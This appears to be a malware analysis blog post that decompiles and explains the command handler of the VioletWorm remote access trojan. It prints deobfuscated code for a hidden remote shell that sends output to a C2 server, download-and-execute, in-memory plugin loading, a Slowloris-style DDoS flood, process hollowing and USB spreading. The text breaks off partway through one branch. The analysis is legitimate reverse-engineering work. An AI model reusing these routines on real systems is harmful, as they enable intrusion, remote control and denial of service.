VioletWorm - game.exe

Class OXGGVv

This is a long and heavily obfuscated class. It starts with setter and getter methods for the MqXLUtRKEymUNhZYVPmZGoogle variable, which is defined at the bottom of the class as a Process variable that I renamed MyProcess.

1
public class OXGGVv
2
{
3
    // Token: 0x17000006 RID: 6
4
    // (get) Token: 0x06000042 RID: 66 RVA: 0x000043BC File Offset: 0x000025BC
5
    // (set) Token: 0x06000043 RID: 67 RVA: 0x000043D8 File Offset: 0x000025D8
6
    private static Process MqXLUtRKEymUNhZYVPmZGoogle
7
    {
8
        get
9
        {
10
            return OXGGVv.MyProcess;
11
        }
12
        [MethodImpl(MethodImplOptions.Synchronized)]
13
        set
14
        {
15
            DataReceivedEventHandler dataReceivedEventHandler = new DataReceivedEventHandler(OXGGVv.0ealR7lxHQIHRy557bhk);
16
            DataReceivedEventHandler dataReceivedEventHandler2 = new DataReceivedEventHandler(OXGGVv.HqvWU1blyWnK4T83zY6x);
17
            if (OXGGVv.MyProcess != null)
18
            {
19
                OXGGVv.MyProcess.OutputDataReceived -= dataReceivedEventHandler;
20
                OXGGVv.MyProcess.ErrorDataReceived -= dataReceivedEventHandler2;
21
            }
22
            OXGGVv.MyProcess = value;
23
            if (OXGGVv.MyProcess != null)
24
            {
25
                OXGGVv.MyProcess.OutputDataReceived += dataReceivedEventHandler;
26
                OXGGVv.MyProcess.ErrorDataReceived += dataReceivedEventHandler2;
27
            }
28
        }
29
    }

The set method is used to configure the process in terms of what to do with the output and error streams received (stdout and stderr). These are defined via the OutputDataReceived and ErrorDataReceived events. The way they are configured is via the OXGGVv.0ealR7lxHQIHRy557bhk and the OXGGVv.HqvWU1blyWnK4T83zY6x functions. The functions are renamed stdoutHandler and stderrHandler respectively, and they are as follows:

1
private static void stderrHandler(object sender, DataReceivedEventArgs e)
2
{
3
    OXGGVv.W3yBLKLm0O8tOmH9BrCD(Encoding.UTF8.GetString(Convert.FromBase64String(Encoding.UTF8.GetString(Convert.FromBase64String("RFFwRmNuSnZjam9n")))) + e.Data + Encoding.UTF8.GetString(Convert.FromBase64String(Encoding.UTF8.GetString(Convert.FromBase64String("RFFvPQ==")))));
4
}
5

6
// Token: 0x06000046 RID: 70
7
private static void stdoutHandler(object sender, DataReceivedEventArgs e)
8
{
9
    OXGGVv.W3yBLKLm0O8tOmH9BrCD(Encoding.UTF8.GetString(Convert.FromBase64String(Encoding.UTF8.GetString(Convert.FromBase64String("RFFvPQ==")))) + e.Data);
10
}

Notice how both of them are calling the function W3yBLKLm0O8tOmH9BrCD with two different arguments: stdoutHandler is calling it with \r\n <something>, while stderrHandler is calling it with Error: <something>\r\n, where in both cases <something> means a string that has been received during execution. This will be clearer once the function W3yBLKLm0O8tOmH9BrCD is analyzed.

The W3yBLKLm0O8tOmH9BrCD function is:

1
public static void W3yBLKLm0O8tOmH9BrCD(string text)
2
{
3
    try
4
    {
5
        OXGGVv.AppendOutputTextDelegate appendOutputTextDelegate = new OXGGVv.AppendOutputTextDelegate(OXGGVv.W3yBLKLm0O8tOmH9BrCD);
6
        SocketManager.SendEncryptedMessage(Conversions.ToString(Operators.AddObject(Operators.AddObject(Operators.AddObject(Operators.AddObject(Encoding.UTF8.GetString(Convert.FromBase64String(Encoding.UTF8.GetString(Convert.FromBase64String("VWk4PQ==")))), OXGGVv.pDZMee5f7lszCtKS9tr8Google), text), OXGGVv.pDZMee5f7lszCtKS9tr8Google), Helpers.MakeIdFromOSInfo())));
7
    }
8
    catch (Exception ex)
9
    {
10
    }
11
}

As expected, it takes a string as an argument and uses SocketManager.SendEncryptedMessage to send a string formatted as follows:

1
R/Violet<data>Violet<id>

Here, <data> is the output or error from the executed process, and <id> is the return value of Helpers.MakeIdFromOSInfo, which was analyzed previously.

If this process executes a DOS command such as cmd.exe /c whoami, the output or error from whoami is sent to the server instead of being redirected to the terminal session. This is a way to exfiltrate command output to an external server. The function is renamed ExfiltrateCommandData.

Now, let’s look at the gigantic function Iqk3f5mMWDPX6uFunFpk. This function is renamed GiganticFlowControl to reflect the fact that it controls the whole sample based on the command received. I will not report the whole code here, since it is about 1600 lines long. However, look at the structure of the function: it starts with a try statement that continues till the end of the function, there are a couple of assignments, then an if statement followed by an endless list of else if.

1
public static void Iqk3f5mMWDPX6uFunFpk(byte[] b)
2
{
3
    try
4
    {
5
        string[] A = Strings.Split(Helpers.GetStringFromBytes(Helpers.AESDecrypt(b)), Conversions.ToString(OXGGVv.Violet), -1, CompareMethod.Binary);
6
        string text = OXGGVv.80nE0XZuNdacUEc2PJFm(A[0]);
7
        string text2 = text;
8
        if (Operators.CompareString(text2, Encoding.UTF8.GetString(Convert.FromBase64String(Encoding.UTF8.GetString(Convert.FromBase64String("VG5wVmJRPT0=")))), false) == 0)
9
            ...
10
        else if (Operators.CompareString(text2, Encoding.UTF8.GetString(Convert.FromBase64String(Encoding.UTF8.GetString(Convert.FromBase64String("UW1oM1MwRlJTVDA9")))), false) == 0)
11
            ...
12
        else if (Operators.CompareString(text2, Encoding.UTF8.GetString(Convert.FromBase64String(Encoding.UTF8.GetString(Convert.FromBase64String("VFVRMGMxQkVVWFJFZVdzNA==")))), false) == 0)
13
            ...

This is what is usually called a match/case or a switch statement pattern, which would look like the pseudocode below: the variable x is checked, and if it is 1 something is executed, if it is 2 something else is executed.

1
match x
2
    case x == 1:
3
        do something
4
    case x == 2:
5
        do something else

In the case of this sample, the code executed is likely related to the command received.

Before looking at all the possible execution paths, let’s focus on the first three lines:

1
string[] A = Strings.Split(Helpers.GetStringFromBytes(Helpers.AESDecrypt(b)), Conversions.ToString(OXGGVv.Violet), -1, CompareMethod.Binary);
2
string text = OXGGVv.80nE0XZuNdacUEc2PJFm(A[0]);
3
string text2 = text;

The first line splits the input b (which is decrypted first with the AESDecrypt method previously analyzed), using Violet as the delimiter of the split. The -1 means split an unlimited number of times. So if the value of b after decryption were something like:

1
aVioletbVioletc

the content of A would be:

1
[ "a", "b", "c"]

Next, the first element of A is given as input to 80nE0XZuNdacUEc2PJFm and the output is saved to text and to text2. I am not entirely sure about the usage of text, since it doesn’t seem to be used anywhere else in the same function; A, however, will be used again later on, so it is worth keeping in mind. Usually I would analyze 80nE0XZuNdacUEc2PJFm, however it is used only once and the expected output is literally told to us in the if statements. For example:

1
if (Operators.CompareString(text2, Encoding.UTF8.GetString(Convert.FromBase64String(Encoding.UTF8.GetString(Convert.FromBase64String("VG5wVmJRPT0=")))), false) == 0)

This is saying: compare text2 with NzUm (case sensitive, due to the false argument) and, if they are equal, then execute something. In any case, we can safely say that 80nE0XZuNdacUEc2PJFm can be renamed DecodeInstructions, and a brief look at the code shows that it performs actions very similar to fZ8aUVb31M2Cahmhu5ZI, which we analyzed a while ago, performing XOR operations on a string.

Before going through the branches one by one, it is worth spending two minutes on 80nE0XZuNdacUEc2PJFm, because inverting it turns this whole switch from an unreadable list of base64 blobs into a readable command set. The function is short:

1
public static string DecodeInstructions(string plainText)
2
{
3
    string key = "EPERGYn";     // decoded from "UlZCRlVrZFpiZz09"
4
    List<byte> list = new List<byte>();
5
    int k = 0;
6

7
    for (int i = 0; i < plainText.Length; i++)
8
    {
9
        list.Add((byte)(Strings.Asc(plainText[i]) ^ Strings.Asc(key[k])));
10
        k = (k + 1) % key.Length;
11
    }
12

13
    return Convert.ToBase64String(list.ToArray());
14
}

So it XORs the input with the repeating key EPERGYn and base64-encodes the result. That is the very same routine as EncodedConstants.stringDecryptor and Helpers.DecryptXOR, which are used to decrypt the C2 address and the user agents, only with the base64 on the other side. And the key is the same one, EPERGYn.

XOR is its own inverse, so the plaintext of every comparison can be recovered with three steps: decode the literal twice from base64 to get the value the code actually compares against, decode that from base64 to get the XOR output, and XOR it back with EPERGYn. For the first branch:

1
"VG5wVmJRPT0="  --base64-->  "TnpVbQ=="  --base64-->  "NzUm"
2
"NzUm"          --base64-->  37 35 26
3
37 35 26  XOR  45 50 45 ("EPE")  ->  72 65 63  ->  "rec"

In CyberChef it can be reproduced as follows:

The command is rec, as in reconnect, and indeed that first branch closes the mutex and restarts the process. Doing this for all 121 branches gives back the complete, human readable command set of the RAT: uninstall, update, DDosS, Cilpper, BSOD, ENC, hrdp+, SnifStrt and so on. That list alone is a very good summary of what this malware can do, and it is also what makes the family recognisable: these are the command names of a Venom/AsyncRAT lineage panel.

The analysis of each instruction is below. For easier reading I will only report the content of the if (or else if) block for the condition analyzed. The title contains the value of the CompareString comparison for easier reference; in parentheses I have added the decoded value of the string, followed by the plaintext command recovered as explained above.

Instruction VG5wVmJRPT0= (NzUm → rec)

1
Helpers.CloseMutex();
2
Application.Restart();
3
Environment.Exit(0);

This is very simply closing the mutex that was created and restarting the current application in a new process, while Environment.Exit forcefully kills the current process running the sample.

Instruction UW1oM1MwRlJTVDA9 (BhwKAQI= → CLOSE)

1
SocketManager.socketVariable.Shutdown(SocketShutdown.Both);
2
SocketManager.socketVariable.Close();
3
Environment.Exit(0);

It closes all the sockets opened and kills the sample execution.

Instruction VFVRMGMxQkVVWFJFZVdzNA== (MD4sPDQtDyk8 → uninstall)

1
object obj = Helpers.CallerToReflectiveCodeLoading(A[1]);
2
Type type = null;
3
string @string = Encoding.UTF8.GetString(Convert.FromBase64String(Encoding.UTF8.GetString(Convert.FromBase64String("ZFc0PQ=="))));
4
object[] array = new object[] { EncodedConstants.USBexe };
5
object[] array2 = array;
6
string[] array3 = null;
7
Type[] array4 = null;
8
bool[] array5 = new bool[] { true };
9
NewLateBinding.LateCall(obj, type, @string, array2, array3, array4, array5, true);
10
if (array5[0])
11
{
12
    EncodedConstants.USBexe = (string)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array[0]), typeof(string));
13
}

This can be rewritten as:

1
object obj = Helpers.CallerToReflectiveCodeLoading(A[1]);
2
object[] args = { "USB.exe" };        // EncodedConstants.USBexe, passed by reference
3
bool[]   copyBack = { true };
4

5
NewLateBinding.LateCall(obj, null, "un", args, null, null, copyBack, ignoreReturn: true);
6

7
if (copyBack[0])
8
    EncodedConstants.USBexe = (string)args[0];   // <-- value AFTER un() possibly changed it

What it does is call the reflective code loading functionality seen previously, passing the second element of the A array as argument, which presumably contains base64 encoded code. How do I know? Because the CallerReflectiveCodeLoading function calls Helpers.Base64StrToObj(byt) on its argument. It loads the Class1 object, which is initialized by the ReflectiveCodeLoading method and returned. So now obj holds an instantiated class of code that has been received. This class is executed by LateCall 32 which, looking at the documentation, we can see is going to execute VBScript code with the following parameters:

1
public static object? LateCall(
2
    object? Instance,
3
    Type? Type,
4
    string MemberName,
5
    object?[]? Arguments,
6
    string?[]? ArgumentNames,
7
    Type?[]? TypeArguments,
8
    bool[]? CopyBack,
9
    bool IgnoreReturn
10
);

The interesting ones are MemberName and Arguments, which in our case are un and USB.exe. So the code executed can be thought of as:

1
obj.un("USB.exe")

CopyBack is a variable passed by reference to collect any values sent from the called function back to the caller. If the value has been set, it is assigned to EncodedConstants.USBexe.

Instruction VFVOQmFFMTZUVGc9 (MCAhMzM8 → update)

1
object obj2 = Helpers.CallerToReflectiveCodeLoading(A[1]);
2
Type type2 = null;
3
string string2 = Encoding.UTF8.GetString(Convert.FromBase64String(Encoding.UTF8.GetString(Convert.FromBase64String("ZFhCa1lYUmw="))));
4
object[] array = new object[3];
5
array[0] = EncodedConstants.USBexe;
6
object[] array6 = array;
7
int num = 1;
8
string[] array7 = A;
9
string[] array8 = array7;
10
int num2 = 2;
11
array6[num] = array8[num2];
12
object[] array9 = array;
13
int num3 = 2;
14
string[] array10 = A;
15
string[] array11 = array10;
16
int num4 = 3;
17
array9[num3] = array11[num4];
18
object[] array12 = array;
19
object[] array13 = array12;
20
string[] array14 = null;
21
Type[] array15 = null;
22
bool[] array5 = new bool[] { true, true, true };
23
NewLateBinding.LateCall(obj2, type2, string2, array13, array14, array15, array5, true);
24
if (array5[0])
25
{
26
    EncodedConstants.USBexe = (string)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array12[0]), typeof(string));
27
}
28
if (array5[1])
29
{
30
    array7[num2] = (string)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array12[1]), typeof(string));
31
}
32
if (array5[2])
33
{
34
    array10[num4] = (string)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array12[2]), typeof(string));
35
}

Very similar to the previous branch, this can be rewritten as shown below. The code performs the same actions as the previous branch, but calls update rather than un. The expected number of entries in A is four, and they are used as arguments of the update function.

1
object obj = Helpers.CallerToReflectiveCodeLoading(A[1]);
2
object[] args = { EncodedConstants.USBexe, A[2], A[3] };        // { "USB.exe", A[2], A[3] }
3
bool[]   copyBack = { true, true, true };                       // all three passed by reference
4

5
// late-bound reflection call:  obj.update(ref args[0], ref args[1], ref args[2])
6
NewLateBinding.LateCall(obj, null, "update", args, null, null, copyBack, ignoreReturn: true);
7

8
// write the (possibly modified) values back
9
if (copyBack[0]) EncodedConstants.USBexe = (string)args[0];    // "USB.exe"
10
if (copyBack[1]) A[2] = (string)args[1];
11
if (copyBack[2]) A[3] = (string)args[2];

Instruction UVZGalBRPT0= (AQc= → DW)

1
OXGGVv.d4xOvvM1U7utJs7lmwPf(A[1], A[2]);

The function called is the following:

1
private static void d4xOvvM1U7utJs7lmwPf(string Name, string Data)
2
{
3
    try
4
    {
5
        object obj = Path.GetTempFileName() + Name;
6
        File.WriteAllBytes(Conversions.ToString(obj), (byte[])Helpers.Base64StrToObj(Data));
7
        Thread.Sleep(500);
8
        object obj2 = null;
9
        Type typeFromHandle = typeof(Process);
10
        string @string = "Start";
11
        object[] array = new object[] { RuntimeHelpers.GetObjectValue(obj) };
12
        object[] array2 = array;
13
        string[] array3 = null;
14
        Type[] array4 = null;
15
        bool[] array5 = new bool[] { true };
16
        NewLateBinding.LateCall(obj2, typeFromHandle, @string, array2, array3, array4, array5, true);
17
        if (array5[0])
18
        {
19
            obj = RuntimeHelpers.GetObjectValue(array[0]);
20
        }
21
    }
22
    catch (Exception ex)
23
    {
24
    }
25
}

And can be simplified as:

1
private static void DropFileAndRun(string Name, string Data)
2
{
3
    string path = Path.GetTempFileName() + Name;
4
    File.WriteAllBytes(path, (byte[])Helpers.Base64StrToObj(Data));
5
    Thread.Sleep(500);
6

7
    // late-bound static call:  Process.Start(path)
8
    NewLateBinding.LateCall(null, typeof(Process), "Start", new object[] { path }, null, null, new bool[] { true }, true);
9
}

It takes two arguments: a Name, which is used to create a file path in the first line of the function after the try, and a Data argument that is written to the file. Once the file is written, LateCall will execute it via Process.Start, where Process comes from typeof(Process) and Start is a decoded string hardcoded in the function. This can be renamed DropFileAndRun.

Instruction Um5oU2J3PT0= (FxRo → RD-)

1
object desktopBounds = DesktopsOperations.GetDesktopBounds("#");
2
SocketManager.SendEncryptedMessage(Operators.ConcatenateObject("RD-Violet", desktopBounds, "Violet", Helpers.MakeIdFromOSInfo());

The above code is already a simplified version of the original, where the GetDesktopBounds function is executed and the return value is sent via SendEncryptedMessage using the usual Violet separator and the MakeIdFromOSInfo identifier.

Instruction Um5oU2RRPT0= (FxRu → RD+)

1
Size size = new Size(Conversions.ToInteger(A[1]), Conversions.ToInteger(A[2]));
2
ExfilDesktopData.CallerExfilDesktopData(size, Conversions.ToInteger(A[3]), Conversions.ToInteger(A[4]));

This calls the CallerExfilDesktopData function previously analyzed.

Instruction V201T2JRPT0= (ZnNm → ###)

1
Point point = new Point(Conversions.ToInteger(A[1]), Conversions.ToInteger(A[2]));
2
Cursor.Position = point;
3
OXGGVv.4tGKiNv8fcajoLeptJCj(Conversions.ToInteger(A[3]), 0, 0, 0, 1);

Where 4tGKiNv8fcajoLeptJCj is:

1
[DllImport("user32", CharSet = CharSet.Ansi, EntryPoint = "mouse_event", ExactSpelling = true, SetLastError = true)]
2
public static extern void 4tGKiNv8fcajoLeptJCj(int dwFlags, int dx, int dy, int cButtons, int dwExtraInfo);

This branch changes the position of the mouse to the coordinates given in A[1] and A[2], using the mouse_event functionality from user32.dll. A[3] contains the action the mouse should trigger, a double click for example.

Instruction V1ZoU2FBPT0= (YXRh → $$$)

1
Point point = new Point(Conversions.ToInteger(A[1]), Conversions.ToInteger(A[2]));
2
Cursor.Position = point;

Same as above, but without any mouse action: simply a repositioning of the cursor.

Instruction UjNjMFltUkJQVDA9 (Gw4bdA== → ^^^&)

1
bool flag = Convert.ToBoolean(A[2]);
2
byte b2 = Convert.ToByte(A[1]);
3
OXGGVv.tfKkn8qnh5NmhaZPjal2(b2, 0, flag ? 0U : 2U, UIntPtr.Zero);

Where tfKkn8qnh5NmhaZPjal2 has been renamed to keybd_event and holds the import from user32.dll:

1
[DllImport("user32.dll")]
2
internal static extern bool keybd_event(byte bVk, byte bScan, uint dwFlags, UIntPtr dwExtraInfo);

The function is used to inject a specific key, stored in A[1], in two phases: first the key press (A[2] equals true and dwFlags is set to none, meaning the key is pressed), followed by the key release (A[2] equals false and dwFlags is set to 2U, which is KEYEVENTF_KEYUP, meaning the key is released).

Instruction UVhnd1BRPT0= (Ax0= → FM)

1
NewLateBinding.LateCall(Helpers.CallerToReflectiveCodeLoading(A[1]), null, Encoding.UTF8.GetString(Convert.FromBase64String(Encoding.UTF8.GetString(Convert.FromBase64String("VFdWdGIzSjU=")))), new object[] { RuntimeHelpers.GetObjectValue(Helpers.Base64StrToObj(A[2])) }, null, null, null, true);

Which, cleaned up, is:

1
object obj = Helpers.CallerToReflectiveCodeLoading(A[1]);
2
object[] args = { A[2] };
3

4
NewLateBinding.LateCall(obj, null, "Memory", args, null, null, null, ignoreReturn: true);

This calls the reflective code loading again with argument A[1], then invokes the Memory function on the returned object, with the value of A[2] as argument.

Instruction UTFJMFBRPT0= (CR4= → LN)

1
string text3 = Path.GetTempFileName() + "-" + A[1];
2
WebClient webClient = new WebClient();
3
webClient.DownloadFile(A[2], text3);
4
Process.Start(text3);

This downloads a file from the address in A[2], saves it to the path in text3 and runs it.

Instruction U1dwVmVFOTVheTlCVVQwOQ== (IjUxOyk/AQ== → getinfo)

1
SocketManager.SendEncryptedMessage(Operators.ConcatenateObject("getinfoViolet", Helpers.MakeIdFromOSInfo()));

It sends the string getinfo and the machine ID, separated by the Violet delimiter.

Instruction U0ZScmNrNURaejA9 (HTkrNCg= → Xinfo)

1
object obj = NewLateBinding.LateGet(Helpers.CallerToReflectiveCodeLoading(A[1]), null, "gett", new object[0], null, null, null)
2
SocketManager.SendEncryptedMessage(Operators.AddObject( "XinfoViolet" , obj , "Violet"), Helpers.MakeIdFromOSInfo())));

In this part of the function, slightly simplified above, SendEncryptedMessage is combined with CallerToReflectiveCodeLoading to call a gett function from the A[1] code via LateGet, which returns an object that is then sent.

Instruction VFVOSmNBPT0= (MCIp → url)

1
Process.Start(A[1]);

Executes the process in A[1], which contains the name of the process to run.

Instruction UzJsQloxQkRPSGREYVVFOQ== (KiAgPC8wCiA= → openhide)

1
object ie = Interaction.CreateObject("internetexplorer.application", "");
2
object[] args = { A[1] };
3
bool[]   copyBack = { true };
4

5
NewLateBinding.LateCall(ie, null, "navigate", args, null, null, copyBack, ignoreReturn: true);
6
if (copyBack[0]) A[1] = (string)args[0];
7

8
// late-bound property set:  ie.visible = 0, keep the window hidden
9
NewLateBinding.LateSet(ie, null, "visible", new object[] { 0 }, null, null);

This opens an instance of Internet Explorer and navigates to the URL held in A[1], passed as argument to the navigate function. Note that the variable visible is set to False to hide the execution.

Instruction VG1wbloxQnBjeTlIZVZrOQ== (NjggPis/GyY= → shellfuc)

1
Interaction.Shell(A[1], AppWinStyle.Hide, false, -1);

Runs an executable program and returns an integer containing the program’s process ID if it is still running. 33 A[1] represents the path to execute, and the window visibility is set to hidden.

Instruction VG5wVmFVNUVTVFk9 (NzUiNDI6 → regfuc)

1
object shell = Interaction.CreateObject("WScript.Shell", "");
2

3
// late-bound call:  shell.RegWrite(A[1], (int)A[2], "REG_DWORD")
4
object[] args = { A[1], Convert.ToInt32(A[2]), "REG_DWORD" };
5
bool[]   copyBack = { true, false, false };
6

7
NewLateBinding.LateCall(shell, null, "RegWrite", args, null, null, copyBack, ignoreReturn: true);
8
if (copyBack[0]) A[1] = (string)args[0];

It starts a Wscript.Shell instance and calls the RegWrite function to write a DWORD value coming from A[2], under the name given in A[1].

Instruction U25vNGVBPT0= (Jz8x → bot)

1
NewLateBinding.LateCall(Helpers.CallerToReflectiveCodeLoading(A[1]), null, "RunBotKiller", new object[0], null, null, null, true);

Executes the RunBotKiller function from A[1].

Instruction U2tSUmIwOTVhejA9 (JDQoOyk= → admin)

1
NewLateBinding.LateCall(Helpers.CallerToReflectiveCodeLoading(A[1]), null, "uac", new object[0], null, null, null, true);

Executes the uac function from A[1].

Instruction VG1wTk0wOTZZM1E9 (NjM3Ozct → script)

1
object obj = Helpers.CallerToReflectiveCodeLoading(A[1]);
2

3
object[] args = { A[2], A[3] };
4
bool[]   copyBack = { true, true };
5

6
// late-bound reflection call:  obj.exc(ref A[2], ref A[3])
7
NewLateBinding.LateCall(plugin, null, "exc", args, null, null, copyBack, ignoreReturn: true);
8

9
if (copyBack[0]) A[2] = (string)args[0];
10
if (copyBack[1]) A[3] = (string)args[1];

Executes obj.exc from A[1] with arguments A[2] and A[3].

Instruction UVZKUmNVbFNVVDA9 (ARQqIRQ= → DDosS)

1
try { Helpers.DDosThread.Abort(); } catch { }
2

3
Helpers.DDosThread = new Thread(() => Helpers.LoopEmptyPost());
4
Helpers.Server = Helpers.GetHostname(A[1]);   // "http://target/x" -> "target"
5
Helpers.Port   = A[2];
6
Helpers.DDosThread.Start();

This is the start of a denial of service. Any flooding thread already running is aborted first, then a new one is created around Helpers.LoopEmptyPost, the target is taken from A[1] (passed through GetHostname, which builds a Uri and keeps only the DnsSafeHost, so the operator can send a full URL) and the port from A[2].

LoopEmptyPost is an endless loop that on every iteration spawns a thread which opens a raw TCP socket to Server:Port and writes this:

1
POST / HTTP/1.1
2
Host: <Server>
3
Connection: keep-alive
4
Content-Type: application/x-www-form-urlencoded
5
User-Agent: <one of the 6 hard-coded UAs, picked at random>
6
Content-length: 5235

and then disposes the socket. Note that the request announces a body of 5235 bytes and never sends it: this is a Slowloris-style half-open request flood, meant to keep the target waiting for a body that never arrives. The user agent is picked randomly out of the six XOR encrypted strings at the top of Helpers, a cheap way to make the flood look like it comes from different browsers.

Instruction UVZKUmNVbFNUVDA9 (ARQqIRM= → DDosT)

1
try { Helpers.DDosThread.Abort(); } catch { }

The counterpart of the previous instruction: it stops the flood by aborting the thread. If no flood is running, the NullReferenceException is swallowed by the try/catch.

Instruction UW1wcmNFbHFZemhJUVQwOQ== (BjkpIjc8HA== → Cilpper)

1
object plugin = Helpers.CallerToReflectiveCodeLoading(A[1]);
2

3
object[] args     = { A[2], A[3] };
4
bool[]   copyBack = { true, true };
5

6
NewLateBinding.LateCall(plugin, null, "Clipper", args, null, null, copyBack, ignoreReturn: true);
7

8
if (copyBack[0]) A[2] = (string)args[0];
9
if (copyBack[1]) A[3] = (string)args[1];

Note: the name of the function looks like a plain typo for Clipper.

From here on this pattern repeats over and over, so it is worth stating it once: A[1] always carries a base64 encoded .NET assembly, CallerToReflectiveCodeLoading loads it in memory and instantiates its Class1, and LateCall/LateGet invoke a method on that instance by name. The plugin never touches the disk. The name of the method is the only real hint of what the plugin does, and the remaining A[n] elements are its arguments.

Instruction UmxKVlBRPT0= (FRU= → PE)

1
if (File.Exists(A[2]))
2
{
3
    object plugin = Helpers.CallerToReflectiveCodeLoading(A[1]);
4

5
    object[] args     = { A[2], Helpers.Base64StrToObj(A[3]) };
6
    bool[]   copyBack = { true, false };
7

8
    NewLateBinding.LateCall(plugin, null, "injRun", args, null, null, copyBack, ignoreReturn: true);
9

10
    if (copyBack[0]) A[2] = (string)args[0];
11
}

PE stands for Portable Executable and injRun for “inject and run”. A[2] is the path of a legitimate executable that must exist on disk (hence the File.Exists check), A[3] is a base64 blob that Base64StrToObj turns back into a byte[]. The operator would ask the sample to start a legitimate binary and inject the raw PE bytes into it, in other words process hollowing. This is how a second stage gets executed under the identity of a trusted process such as RegAsm.exe or MSBuild.exe.

Instruction VG1sUmEwbEVUWE5JVTJNOQ== (NiQkIDMsHSc= → startusb)

1
if (!EncodedConstants.boolVar)
2
{
3
    object plugin = Helpers.CallerToReflectiveCodeLoading(A[1]);
4

5
    object[] args     = { EncodedConstants.USBexe };   // "USB.exe"
6
    bool[]   copyBack = { true };
7

8
    NewLateBinding.LateCall(plugin, null, "startsp", args, null, null, copyBack, ignoreReturn: true);
9

10
    if (copyBack[0]) EncodedConstants.USBexe = (string)args[0];
11
    EncodedConstants.boolVar = true;
12
}

startsp is probably short for “start spreading”. The plugin is handed the name the copy should take on the removable drive (USB.exe) and starts watching for USB devices to copy the sample onto. The boolVar flag makes this a one-shot: once the spreader has been started, sending the command again does nothing. This is the same USBexe field that the uninstall and update instructions analysed above can overwrite by reference.

Instruction VFhwSmJnPT0= (MzIn → vbb)

1
object plugin = Helpers.CallerToReflectiveCodeLoading(A[1]);
2

3
object[] args     = { A[2], A[3] };
4
bool[]   copyBack = { true, true };
5

6
NewLateBinding.LateCall(plugin, null, "CallV", args, null, null, copyBack, ignoreReturn: true);
7

8
if (copyBack[0]) A[2] = (string)args[0];
9
if (copyBack[1]) A[3] = (string)args[1];

CallV, as in “call VBScript”. The plugin receives two strings, presumably the script body and a parameter, and executes them. Together with the script instruction analysed earlier, this gives the operator a scripting engine on top of the fixed set of binary commands.

Instruction UmxGTmNFNTVTWEE9 (FQMpNyIp → PSleep)

1
NewLateBinding.LateCall(Helpers.CallerToReflectiveCodeLoading(A[1]), null,
2
                        "PreventSleep", new object[0], null, null, null, true);

Loads a plugin and calls PreventSleep. The point is probably to keep the machine awake so the RAT stays reachable and long running tasks (mining, exfiltration, DDoS) are not interrupted by the power settings.

Instruction VUZObk9RPT0= (PSg9 → xxx)

1
SocketManager.SendEncryptedMessage("xxx" + Violet + Helpers.MakeIdFromOSInfo());

A bare acknowledgement: the tag xxx, the delimiter, the victim ID. Note the asymmetry that shows up in nearly every remaining instruction: what the client receives is XOR encrypted and base64 encoded twice, what it sends back is the tag in clear text (the whole message is still AES encrypted by SendEncryptedMessage). The server uses that tag to route the answer to the right panel window.

Instruction UmpNNFBRPT0= (F38= → R/)

1
try
2
{
3
    try
4
    {
5
        using Process p = new Process();
6
        p.StartInfo.FileName        = "taskkill.exe";
7
        p.StartInfo.Arguments       = " /pid " + shellPid + " /f";
8
        p.StartInfo.UseShellExecute = false;
9
        p.StartInfo.CreateNoWindow  = true;
10
        p.Start();
11
        p.WaitForExit();
12
    }
13
    catch { }
14

15
    MyProcess = new Process();
16
    MyProcess.StartInfo.FileName               = "CMD.EXE";
17
    MyProcess.StartInfo.UseShellExecute        = false;
18
    MyProcess.StartInfo.CreateNoWindow         = true;
19
    MyProcess.StartInfo.RedirectStandardInput  = true;
20
    MyProcess.StartInfo.RedirectStandardOutput = true;
21
    MyProcess.StartInfo.RedirectStandardError  = true;
22
    MyProcess.Start();
23

24
    shellPid = MyProcess.Id;
25
    MyProcess.BeginErrorReadLine();
26
    MyProcess.BeginOutputReadLine();
27

28
    W3yBLKLm0O8tOmH9BrCD("Process Started at: " + MyProcess.StartTime);
29
}
30
catch { }

This is the remote shell. Any cmd.exe spawned by a previous invocation is killed with taskkill /pid <pid> /f, then a new hidden CMD.EXE is started with stdin, stdout and stderr redirected. MyProcess is that property at the top of the class with the OutputDataReceived and ErrorDataReceived handlers, so every line the shell prints is immediately shipped to the C2 by W3yBLKLm0O8tOmH9BrCD under the tag Ui8= (which is R/ base64 encoded), with \r\n prepended for stdout and \r\nError: for stderr.

Instruction VG5sVmNsQkRhek5CUTNNOQ== (NyUrPCk3ACs= → runnnnnn)

1
MyProcess.StandardInput.WriteLine(A[1]);
2
MyProcess.StandardInput.Flush();

Writes A[1] into the standard input of the shell opened by R/. This is the “type a command in the remote console” instruction; the answer comes back asynchronously through the output handlers described above.

Instruction U21wM2NVbFRTWEZDYVVFNFMxRTlQUT09 (JjwqISIqBiA8KQ== → closeshell)

1
MyProcess.StandardInput.WriteLine("EXIT");
2
MyProcess.StandardInput.Flush();
3
MyProcess.Close();

Closes the remote shell politely, by sending EXIT to cmd.exe and then releasing the Process object.

Instruction VGxOQk1RPT0= (NSA1 → ppp)

1
SendEncryptedMessage("ppp" + Violet + Helpers.MakeIdFromOSInfo());

Another bare acknowledgement, same shape as xxx.

Instruction UmpOTlBRPT0= (F3M= → R#)

1
string list = null;
2
foreach (Process p in Process.GetProcesses())
3
{
4
    try
5
    {
6
        list += Path.GetFileNameWithoutExtension(p.ProcessName)
7
              + Path.GetExtension(p.MainModule.FileName)
8
              + "|+++|" + p.Id
9
              + "|+++|" + p.MainModule.FileName
10
              + "*+*";
11
    }
12
    catch { }
13
}
14

15
SendEncryptedMessage("R#" + Violet + list + Violet
16
                     + EncodedConstants.currentProcessName + Violet
17
                     + Helpers.MakeIdFromOSInfo());

The remote task manager. Every process is enumerated and described by three fields (name.ext, PID, full image path) joined with |+++|, and the records are joined with *+*. Processes the sample cannot open are silently skipped, since MainModule throws for protected or higher integrity processes, which means the list the operator sees is not necessarily complete. The message also carries the path of the sample itself, so the panel can tell its own process apart from the rest.

Instruction VEdwcmNGQm5QVDA9 (LjkpPg== → kill)

1
Process.GetProcessById(Conversions.ToInteger(A[1])).Kill();

Kills the process whose PID is in A[1], the obvious companion of the task manager above.

Instruction VEdoUlBRPT0= (LhQ= → kD)

1
Process.GetProcessById(Conversions.ToInteger(A[1])).Kill();
2
Thread.Sleep(500);
3
File.Delete(A[2]);

“Kill and delete”: the process is terminated, half a second is given to Windows to release the file handles, and then the image on disk (A[2], a path the panel already knows from the R# listing) is deleted.

Instruction Um5kTlVnPT0= (FwMR → RST)

1
Process.GetProcessById(Conversions.ToInteger(A[1])).Kill();
2
